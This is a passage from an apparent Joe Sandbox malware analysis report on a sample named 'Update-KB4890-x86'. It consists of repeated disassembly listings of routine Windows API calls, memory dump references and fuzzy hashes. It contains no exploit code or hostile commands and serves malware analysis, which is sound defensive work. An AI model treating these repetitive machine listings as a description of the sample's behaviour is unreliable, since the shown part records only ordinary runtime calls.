                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$Write$CloseCreateHandlePointer
                                                                    • String ID:
                                                                    • API String ID: 2529654636-0
                                                                    • Opcode ID: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
                                                                    • Instruction ID: 1453553940a4d3892de4ff384dbac704556b8781b2e4a3aa95a78d14f1d764be
                                                                    • Opcode Fuzzy Hash: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
                                                                    • Instruction Fuzzy Hash: 910152B2345210BBF224D665DC85FABB35CFB45B55F604529F301AB1C0D7B0B912866E
                                                                    APIs
                                                                    • GetLastError.KERNEL32(?,00000000,00429D66,0042754D,00000000,0042E878,00000008,004275A4,?,?,?,004255E1,00000004,0042E528,0000000C,004274A4), ref: 00426F6A
                                                                    • FlsGetValue.KERNEL32(?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F78
                                                                    • SetLastError.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426FCE
                                                                      • Part of subcall function 0042AF1A: __lock.LIBCMT ref: 0042AF5E
                                                                      • Part of subcall function 0042AF1A: HeapAlloc.KERNEL32(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C
                                                                    • FlsSetValue.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F9F
                                                                    • GetCurrentThreadId.KERNEL32 ref: 00426FB7
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLastValue$AllocCurrentHeapThread__lock
                                                                    • String ID:
                                                                    • API String ID: 3368326513-0
                                                                    • Opcode ID: cf15b98bab8d1defd9364abf7e131804ac3567f7b1877ef76dd4d84766d46405
                                                                    • Instruction ID: f63654c1ee938a50a5afa31d3a4a151140225177cbe4647d27af6bf58e16b5fd
                                                                    • Opcode Fuzzy Hash: cf15b98bab8d1defd9364abf7e131804ac3567f7b1877ef76dd4d84766d46405
                                                                    • Instruction Fuzzy Hash: 42F0FC317017219FDB302F61BE0D6463BE0EF04761B520539F681962E0CBB48805DB5D
                                                                    APIs
                                                                    • SetEvent.KERNEL32(000002A0,?,00000000,00000001,00415108), ref: 0041EF12
                                                                    • SetEvent.KERNEL32(000002AC), ref: 0041EF20
                                                                    • SetEvent.KERNEL32(000002B0), ref: 0041EF2B
                                                                    • SetEvent.KERNEL32(000002A8), ref: 0041EF36
                                                                    • SetEvent.KERNEL32(000002A4), ref: 0041EF41
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Event
                                                                    • String ID:
                                                                    • API String ID: 4201588131-0
                                                                    • Opcode ID: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
                                                                    • Instruction ID: 92241c2d29be1143f2a9536055d46b80d7f207951b744ccd9958107ee56c1688
                                                                    • Opcode Fuzzy Hash: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
                                                                    • Instruction Fuzzy Hash: F6F08273710910A7C31896F99C899EAE399FB8C395B45062AEA19D7310CA3CAC1047EC
                                                                    APIs
                                                                    • GetSystemTimeAsFileTime.KERNEL32(?), ref: 004264B6
                                                                    • GetCurrentProcessId.KERNEL32 ref: 004264C2
                                                                    • GetCurrentThreadId.KERNEL32 ref: 004264CA
                                                                    • GetTickCount.KERNEL32 ref: 004264D2
                                                                    • QueryPerformanceCounter.KERNEL32(?), ref: 004264DE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                                                                    • String ID:
                                                                    • API String ID: 1445889803-0
                                                                    • Opcode ID: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
                                                                    • Instruction ID: 499c131aa02166e40c80eeea4be7d3552c431a5fdd0afb938acd6548f02731da
                                                                    • Opcode Fuzzy Hash: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
                                                                    • Instruction Fuzzy Hash: BCF0B271E00124ABDB20EBB5ED4859FB7F8FF08251BC60576D801E7160EA34A9558B88
                                                                    APIs
                                                                    • ResetEvent.KERNEL32(000002A0,?,00000000,00000001,00415134), ref: 0041EF67
                                                                    • ResetEvent.KERNEL32(000002AC), ref: 0041EF76
                                                                    • ResetEvent.KERNEL32(000002B0), ref: 0041EF81
                                                                    • ResetEvent.KERNEL32(000002A8), ref: 0041EF8C
                                                                    • ResetEvent.KERNEL32(000002A4), ref: 0041EF97
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: EventReset
                                                                    • String ID:
                                                                    • API String ID: 2632953641-0
                                                                    • Opcode ID: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
                                                                    • Instruction ID: fc480dfa26fb09fbbc65d8aef6d91afcac74ba489442c4a45ccb12b9350b78a5
                                                                    • Opcode Fuzzy Hash: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
                                                                    • Instruction Fuzzy Hash: 8DF039B3211A009BC32096FACCC5EC7A3DAABCC305F190829A21DC3200C93CE8418778
                                                                    APIs
                                                                    • GetFileAttributesA.KERNEL32(?), ref: 00422278
                                                                    • GetFileAttributesA.KERNEL32(?), ref: 0042229B
                                                                    • GetFileAttributesA.KERNEL32(?), ref: 004222BE
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AttributesFile
                                                                    • String ID: fwe
                                                                    • API String ID: 3188754299-4005368934
                                                                    • Opcode ID: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
                                                                    • Instruction ID: 76594a64a599093f323b53c7ed8c786e31d7372582f6e569f4210dc002227436
                                                                    • Opcode Fuzzy Hash: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
                                                                    • Instruction Fuzzy Hash: CE315B3160879157CB21D6347820BFBF7D1AFD4300FA00B69E8D8C3281DBB69845C396
                                                                    APIs
                                                                    • FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
                                                                    • DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
                                                                    • DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalDeleteSection$Free
                                                                    • String ID: h C
                                                                    • API String ID: 1584690612-3285481218
                                                                    • Opcode ID: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
                                                                    • Instruction ID: 46e1f5d38daa45a4b8a1175150061cd4bbfd52aad6ded1a2a2748f1cabc2c9bd
                                                                    • Opcode Fuzzy Hash: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
                                                                    • Instruction Fuzzy Hash: D2F0A432A0423097CA346A18BC855A6B6E89F49731B55573FE9E9E32A0C33C9C42866C
                                                                    APIs
                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,0042EFE0,00000010,00427463,00000000,00000FA0,75570A60,00000000,00427125,00425E71,?,0042E598,00000060), ref: 0042B502
                                                                    • GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 0042B512
                                                                    Strings
                                                                    • InitializeCriticalSectionAndSpinCount, xrefs: 0042B50C
                                                                    • kernel32.dll, xrefs: 0042B4FD
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressHandleModuleProc
                                                                    • String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
                                                                    • API String ID: 1646373207-3733552308
                                                                    • Opcode ID: 268dcd9634f074ec502ce49ec15195abddda11da55df9ab9ea062583cc4446d2
                                                                    • Instruction ID: be9b0aabb06fe80ffec501557c266caa5c5a139848c1c9192b9c21e126a2179c
                                                                    • Opcode Fuzzy Hash: 268dcd9634f074ec502ce49ec15195abddda11da55df9ab9ea062583cc4446d2
                                                                    • Instruction Fuzzy Hash: EBF05470741335FACB10AFB2FD457593BA0EB04748F94452AE814D52A0D77C86819A6D
                                                                    APIs
                                                                      • Part of subcall function 00426B77: _UnwindNestedFrames.LIBCMT ref: 00426B9A
                                                                    • InitializeCriticalSection.KERNEL32(00426CC1,00000003), ref: 0042B4D3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalFramesInitializeNestedSectionUnwind
                                                                    • String ID: csm$csm$csm
                                                                    • API String ID: 2222982843-393685449
                                                                    • Opcode ID: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
                                                                    • Instruction ID: f15770d1f245a1dc1dc769a00c4ac03cd43f694df1eb78c53a90dae53adbc7e3
                                                                    • Opcode Fuzzy Hash: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
                                                                    • Instruction Fuzzy Hash: 7E719E35B00229DFCF14DF95E881AAE7BB5BF04314F96409BE810AB252C739D951CB9A
                                                                    APIs
                                                                      • Part of subcall function 0042CF9D: _strlen.LIBCMT ref: 0042CFA7
                                                                      • Part of subcall function 0042CF9D: _strcat.LIBCMT ref: 0042CFBB
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,00000001,00000001,00000049), ref: 0040B3DB
                                                                    • ReleaseMutex.KERNEL32(?,00000000,?), ref: 0040B3FC
                                                                    • ReleaseMutex.KERNEL32(?,?,?,00000000,?), ref: 0040B479
                                                                    • ReleaseMutex.KERNEL32(?,00000000,00000000,?,00000000,000000FF,?,?,00000000,?), ref: 0040B50C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: MutexRelease$ObjectSingleWait_strcat_strlen
                                                                    • String ID:
                                                                    • API String ID: 3541652364-0
                                                                    • Opcode ID: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
                                                                    • Instruction ID: a78adba943f63fa3003e78eeb40ee91bd2e846ea5eff56f134e5d262998a29b7
                                                                    • Opcode Fuzzy Hash: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
                                                                    • Instruction Fuzzy Hash: B761C071900215AFCB14EF69D981AAEB7B4FF44304F50453EE416E7392DB38AA04CBD9
                                                                    APIs
                                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 00429528
                                                                    • GetLastError.KERNEL32 ref: 00429532
                                                                    • ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004295FB
                                                                    • GetLastError.KERNEL32 ref: 00429605
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorFileLastRead
                                                                    • String ID:
                                                                    • API String ID: 1948546556-0
                                                                    • Opcode ID: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
                                                                    • Instruction ID: 0c3f56f59b5ddb8de00e56d924bfdf09652d2d5f3f214e5ba9bd8ddb3cf10382
                                                                    • Opcode Fuzzy Hash: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
                                                                    • Instruction Fuzzy Hash: DB61C6317043A59FDF218F58D884B997BE0BF11308F94449BE5658B291C378DD46CB5A
                                                                    APIs
                                                                    • WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000001), ref: 0042BD87
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: FileWrite
                                                                    • String ID:
                                                                    • API String ID: 3934441357-0
                                                                    • Opcode ID: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
                                                                    • Instruction ID: b69cdc61513ac084dd584beffdc22afea9c25ed320d97ba110819b699bdfb182
                                                                    • Opcode Fuzzy Hash: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
                                                                    • Instruction Fuzzy Hash: 7F518D31A10268CFDB32DFA9E880BEDBBB8FF45704FA1401AE9599B252D7344A01DF55
                                                                    APIs
                                                                    • __lock.LIBCMT ref: 0042C2C5
                                                                      • Part of subcall function 0042758B: EnterCriticalSection.KERNEL32(?,?,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 004275B3
                                                                    • __lock.LIBCMT ref: 0042C311
                                                                    • EnterCriticalSection.KERNEL32(0000008C,0042F618,00000014,0042C70F,?,00000000,00000000), ref: 0042C35B
                                                                    • LeaveCriticalSection.KERNEL32(0000008C), ref: 0042C368
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
